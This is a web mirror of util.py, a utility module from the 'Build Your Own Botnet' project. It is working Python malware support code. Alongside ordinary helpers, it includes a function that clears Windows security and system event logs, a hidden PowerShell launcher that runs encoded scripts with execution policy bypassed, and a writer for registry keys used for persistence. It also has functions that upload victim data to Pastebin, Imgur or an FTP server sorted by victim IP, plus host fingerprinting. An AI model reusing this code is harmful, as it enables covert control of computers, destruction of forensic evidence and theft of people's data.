Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/core/util.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Utilities (Build Your Own Botnet)'
4
from __future__ import print_function
5
6
import colorama
7
colorama.init()
8
9
_debug = False
10
11
# main
12
def log(info, level='debug'):
13
"""
14
Log output to the console (if verbose output is enabled)
15
16
"""
17
import logging
18
logging.basicConfig(level=logging.DEBUG if globals()['_debug'] else logging.ERROR, handlers=[logging.StreamHandler()])
19
logger = logging.getLogger(__name__)
20
getattr(logger, level if hasattr(logger, level) else 'debug')(str(info))
21
22
23
def imports(source, target=None):
24
"""
25
Attempt to import each package into the module specified
26
27
`Required`
28
:param list source: package/module to import
29
30
`Optional`
31
:param object target: target object/module to import into
32
33
"""
34
if isinstance(source, str):
35
source = source.split()
36
if isinstance(target, dict):
37
module = target
38
elif hasattr(target, '__dict__'):
39
module = target.__dict__
40
else:
41
module = globals()
42
for src in source:
43
try:
44
exec("import {}".format(src), target)
45
except ImportError:
46
log("missing package '{}' is required".format(source))
47
48
49
def is_compatible(platforms=['win32','linux2','darwin'], module=None):
50
"""
51
Verify that a module is compatible with the host platform
52
53
`Optional`
54
:param list platforms: compatible platforms
55
:param str module: name of the module
56
57
"""
58
import sys
59
if sys.platform in platforms:
60
return True
61
log("module {} is not yet compatible with {} platforms".format(module if module else '', sys.platform), level='warn')
62
return False
63
64
65
def platform():
66
"""
67
Return the system platform of host machine
68
69
"""
70
import sys
71
return sys.platform
72
73
74
def public_ip():
75
"""
76
Return public IP address of host machine
77
78
"""
79
import sys
80
if sys.version_info[0] > 2:
81
from urllib.request import urlopen
82
else:
83
from urllib import urlopen
84
return urlopen('http://api.ipify.org').read().decode()
85
86
87
def local_ip():
88
"""
89
Return local IP address of host machine
90
91
"""
92
import socket
93
return socket.gethostbyname(socket.gethostname())
94
95
96
def mac_address():
97
"""
98
Return MAC address of host machine
99
100
"""
101
import uuid
102
return ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper()
103
104
105
def architecture():
106
"""
107
Check if host machine has 32-bit or 64-bit processor architecture
108
109
"""
110
import struct
111
return int(struct.calcsize('P') * 8)
112
113
114
def device():
115
"""
116
Return the name of the host machine
117
118
"""
119
import socket
120
return socket.getfqdn(socket.gethostname())
121
122
123
def username():
124
"""
125
Return username of current logged in user
126
127
"""
128
import os
129
return os.getenv('USER', os.getenv('USERNAME', 'user'))
130
131
132
def administrator():
133
"""
134
Return True if current user is administrator, otherwise False
135
136
"""
137
import os
138
import ctypes
139
return bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)
140
141
142
def geolocation():
143
"""
144
Return latitute/longitude of host machine (tuple)
145
"""
146
import sys
147
import json
148
if sys.version_info[0] > 2:
149
from urllib.request import urlopen
150
else:
151
from urllib2 import urlopen
152
response = urlopen('http://ipinfo.io').read()
153
json_data = json.loads(response)
154
latitude, longitude = json_data.get('loc').split(',')
155
return (latitude, longitude)
156
157
158
def ipv4(address):
159
"""
160
Check if valid IPv4 address
161
162
`Required`
163
:param str address: string to check
164
165
Returns True if input is valid IPv4 address, otherwise False
166
167
"""
168
import socket
169
try:
170
if socket.inet_aton(str(address)):
171
return True
172
except:
173
return False
174
175
176
def status(timestamp):
177
"""
178
Check the status of a job/thread
179
180
`Required`
181
:param float timestamp: Unix timestamp (seconds since the Epoch)
182
183
"""
184
import time
185
c = time.time() - float(timestamp)
186
data=['{} days'.format(int(c / 86400.0)) if int(c / 86400.0) else str(),
187
'{} hours'.format(int((c % 86400.0) / 3600.0)) if int((c % 86400.0) / 3600.0) else str(),
188
'{} minutes'.format(int((c % 3600.0) / 60.0)) if int((c % 3600.0) / 60.0) else str(),
189
'{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]
190
return ', '.join([i for i in data if i])
191
192
193
def unzip(filename):
194
"""
195
Extract all files from a ZIP archive
196
197
`Required`
198
:param str filename: path to ZIP archive
199
200
"""
201
import os
202
import zipfile
203
z = zipfile.ZipFile(filename)
204
path = os.path.dirname(filename)
205
z.extractall(path=path)
206
207
208
def post(url, headers={}, data={}, json={}, as_json=False):
209
"""
210
Make a HTTP post request and return response
211
212
`Required`
213
:param str url: URL of target web page
214
215
`Optional`
216
:param dict headers: HTTP request headers
217
:param dict data: HTTP request POST data
218
:param dict json: POST data in JSON format
219
:param bool as_json: return JSON formatted output
220
221
"""
222
try:
223
import requests
224
req = requests.post(url, headers=headers, data=data, json=json)
225
output = req.content
226
if as_json:
227
try:
228
output = req.json()
229
except: pass
230
return output
231
except:
232
import sys
233
if sys.version_info[0] > 2:
234
from urllib.request import urlopen,urlencode,Request
235
else:
236
from urllib import urlencode
237
from urllib2 import urlopen,Request
238
data = urlencode(data)
239
req = Request(str(url), data=data)
240
for key, value in headers.items():
241
req.headers[key] = value
242
output = urlopen(req).read()
243
if as_json:
244
import json
245
try:
246
output = json.loads(output)
247
except: pass
248
return output
249
250
251
def normalize(source):
252
"""
253
Normalize data/text/stream
254
255
`Required`
256
:param source: string OR readable-file
257
258
"""
259
import os
260
if os.path.isfile(source):
261
return open(source, 'rb').read()
262
elif hasattr(source, 'getvalue'):
263
return source.getvalue()
264
elif hasattr(source, 'read'):
265
if hasattr(source, 'seek'):
266
source.seek(0)
267
return source.read()
268
else:
269
return bytes(source)
270
271
272
def registry_key(key, subkey, value):
273
"""
274
Create a new Windows Registry Key in HKEY_CURRENT_USER
275
276
`Required`
277
:param str key: primary registry key name
278
:param str subkey: registry key sub-key name
279
:param str value: registry key sub-key value
280
281
Returns True if successful, otherwise False
282
283
"""
284
try:
285
import _winreg
286
reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
287
_winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
288
_winreg.CloseKey(reg_key)
289
return True
290
except Exception as e:
291
log(e)
292
return False
293
294
295
def png(image):
296
"""
297
Transforms raw image data into a valid PNG data
298
299
`Required`
300
:param image: `numpy.darray` object OR `PIL.Image` object
301
302
Returns raw image data in PNG format
303
304
"""
305
import sys
306
import zlib
307
import numpy
308
import struct
309
310
try:
311
from StringIO import StringIO # Python 2
312
except ImportError:
313
from io import StringIO # Python 3
314
315
if isinstance(image, numpy.ndarray):
316
width, height = (image.shape[1], image.shape[0])
317
data = image.tobytes()
318
elif hasattr(image, 'width') and hasattr(image, 'height') and hasattr(image, 'rgb'):
319
width, height = (image.width, image.height)
320
data = image.rgb
321
else:
322
raise TypeError("invalid input type: {}".format(type(image)))
323
324
line = width * 3
325
png_filter = struct.pack('>B', 0)
326
scanlines = b"".join([png_filter + data[y * line:y * line + line] for y in range(height)])
327
magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)
328
329
ihdr = [b"", b'IHDR', b"", b""]
330
ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)
331
ihdr[3] = struct.pack('>I', zlib.crc32(b"".join(ihdr[1:3])) & 0xffffffff)
332
ihdr[0] = struct.pack('>I', len(ihdr[2]))
333
334
idat = [b"", b'IDAT', zlib.compress(scanlines), b""]
335
idat[3] = struct.pack('>I', zlib.crc32(b"".join(idat[1:3])) & 0xffffffff)
336
idat[0] = struct.pack('>I', len(idat[2]))
337
338
iend = [b"", b'IEND', b"", b""]
339
iend[3] = struct.pack('>I', zlib.crc32(iend[1]) & 0xffffffff)
340
iend[0] = struct.pack('>I', len(iend[2]))
341
342
fileh = StringIO()
343
fileh.write(str(magic))
344
fileh.write(str(b"".join(ihdr)))
345
fileh.write(str(b"".join(idat)))
346
fileh.write(str(b"".join(iend)))
347
fileh.seek(0)
348
output = fileh.getvalue()
349
if sys.version_info[0] > 2:
350
output = output.encode('utf-8') # python3 compatibility
351
return output
352
353
354
def delete(target):
355
"""
356
Tries to delete file via multiple methods, if necessary
357
358
`Required`
359
:param str target: target filename to delete
360
361
"""
362
import os
363
import shutil
364
try:
365
_ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777)
366
except OSError: pass
367
try:
368
if os.path.isfile(target):
369
os.remove(target)
370
elif os.path.isdir(target):
371
import shutil
372
shutil.rmtree(target, ignore_errors=True)
373
except OSError: pass
374
375
376
def clear_system_logs():
377
"""
378
Clear Windows system logs (Application, security, Setup, System)
379
380
"""
381
try:
382
for log in ["application","security","setup","system"]:
383
output = powershell("& { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog(\"%s\")}" % log)
384
if output:
385
log(output)
386
except Exception as e:
387
log(e)
388
389
390
def kwargs(data):
391
"""
392
Takes a string as input and returns a dictionary of keyword arguments
393
394
`Required`
395
:param str data: string to parse for keyword arguments
396
397
Returns dictionary of keyword arguments as key-value pairs
398
399
"""
400
try:
401
return {i.partition('=')[0]: i.partition('=')[2] for i in str(data).split() if '=' in i}
402
except Exception as e:
403
log(e)
404
405
406
def powershell(code):
407
"""
408
Execute code in Powershell.exe and return any results
409
410
`Required`
411
:param str code: script block of Powershell code
412
413
Returns any output from Powershell executing the code
414
415
"""
416
import os
417
import base64
418
try:
419
powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip()
420
return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read()
421
except Exception as e:
422
log("{} error: {}".format(powershell.__name__, str(e)))
423
424
425
def display(output, color=None, style=None, end='\n', event=None, lock=None):
426
"""
427
Display output in the console
428
429
`Required`
430
:param str output: text to display
431
432
`Optional`
433
:param str color: red, green, cyan, magenta, blue, white
434
:param str style: normal, bright, dim
435
:param str end: __future__.print_function keyword arg
436
:param lock: threading.Lock object
437
:param event: threading.Event object
438
439
"""
440
# if isinstance(output, bytes):
441
# output = output.decode('utf-8')
442
# else:
443
# output = str(output)
444
# _color = ''
445
# if color:
446
# _color = getattr(colorama.Fore, color.upper())
447
# _style = ''
448
# if style:
449
# _style = getattr(colorama.Style, style.upper())
450
# exec("""print(_color + _style + output + colorama.Style.RESET_ALL, end="{}")""".format(end))
451
print(output)
452
453
454
def color():
455
"""
456
Returns a random color for use in console display
457
458
"""
459
try:
460
import random
461
return random.choice(['BLACK', 'BLUE', 'CYAN', 'GREEN', 'LIGHTBLACK_EX', 'LIGHTBLUE_EX', 'LIGHTCYAN_EX', 'LIGHTGREEN_EX', 'LIGHTMAGENTA_EX', 'LIGHTRED_EX', 'LIGHTWHITE_EX', 'LIGHTYELLOW_EX', 'MAGENTA', 'RED', 'RESET', 'WHITE', 'YELLOW'])
462
except Exception as e:
463
log("{} error: {}".format(color.__name__, str(e)))
464
465
466
def imgur(source, api_key=None):
467
"""
468
Upload image file/data to Imgur
469
470
"""
471
import base64
472
if api_key:
473
response = post('https://api.imgur.com/3/upload', headers={'Authorization': 'Client-ID {}'.format(api_key)}, data={'image': base64.b64encode(normalize(source)), 'type': 'base64'}, as_json=True)
474
return response['data']['link'].encode()
475
else:
476
log("No Imgur API key found")
477
478
479
def pastebin(source, api_key):
480
"""
481
Upload file/data to Pastebin
482
483
`Required`
484
:param str source: data or readable file-like object
485
:param str api_dev_key: Pastebin api_dev_key
486
487
`Optional`
488
:param str api_user_key: Pastebin api_user_key
489
490
"""
491
import sys
492
if sys.version_info[0] > 2:
493
from urllib.parse import urlsplit,urlunsplit
494
else:
495
from urllib2 import urlparse
496
urlsplit = urlparse.urlsplit
497
urlunsplit = urlparse.urlunsplit
498
if isinstance(api_key, str):
499
try:
500
info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}
501
paste = post('https://pastebin.com/api/api_post.php', data=info)
502
parts = urlsplit(paste)
503
result = urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste
504
if not result.endswith('/'):
505
result += '/'
506
return result
507
except Exception as e:
508
log("Upload to Pastebin failed with error: {}".format(e))
509
else:
510
log("No Pastebin API key found")
511
512
513
def ftp(source, host=None, user=None, password=None, filetype=None):
514
"""
515
Upload file/data to FTP server
516
517
`Required`
518
:param str source: data or readable file-like object
519
:param str host: FTP server hostname
520
:param str user: FTP account username
521
:param str password: FTP account password
522
523
`Optional`
524
:param str filetype: target file type (default: .txt)
525
526
"""
527
import os
528
import time
529
import ftplib
530
531
try:
532
from StringIO import StringIO # Python 2
533
except ImportError:
534
from io import StringIO # Python 3
535
536
if host and user and password:
537
path = ''
538
local = time.ctime().split()
539
if os.path.isfile(str(source)):
540
path = source
541
source = open(path, 'rb')
542
elif hasattr(source, 'seek'):
543
source.seek(0)
544
else:
545
source = StringIO(source)
546
try:
547
ftp = ftplib.FTP(host=host, user=user, password=password)
548
except:
549
return "Upload failed - remote FTP server authorization error"
550
addr = public_ip()
551
if 'tmp' not in ftp.nlst():
552
ftp.mkd('/tmp')
553
if addr not in ftp.nlst('/tmp'):
554
ftp.mkd('/tmp/{}'.format(addr))
555
if path:
556
path = '/tmp/{}/{}'.format(addr, os.path.basename(path))
557
else:
558
filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype)
559
path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype))
560
stor = ftp.storbinary('STOR ' + path, source)
561
return path
562
else:
563
log('missing one or more required arguments: host, user, password')
564
565
566
def config(*arg, **options):
567
"""
568
Configuration decorator for adding attributes (e.g. declare platforms attribute with list of compatible platforms)
569
570
"""
571
import functools
572
def _config(function):
573
@functools.wraps(function)
574
def wrapper(*args, **kwargs):
575
return function(*args, **kwargs)
576
for k,v in options.items():
577
setattr(wrapper, k, v)
578
return wrapper
579
return _config
580
581
582
def threaded(function):
583
"""
584
Decorator for making a function threaded
585
586
`Required`
587
:param function: function/method to run in a thread
588
589
"""
590
import time
591
import threading
592
import functools
593
@functools.wraps(function)
594
def _threaded(*args, **kwargs):
595
t = threading.Thread(target=function, args=args, kwargs=kwargs, name=time.time())
596
t.daemon = True
597
t.start()
598
return t
599
return _threaded
600
601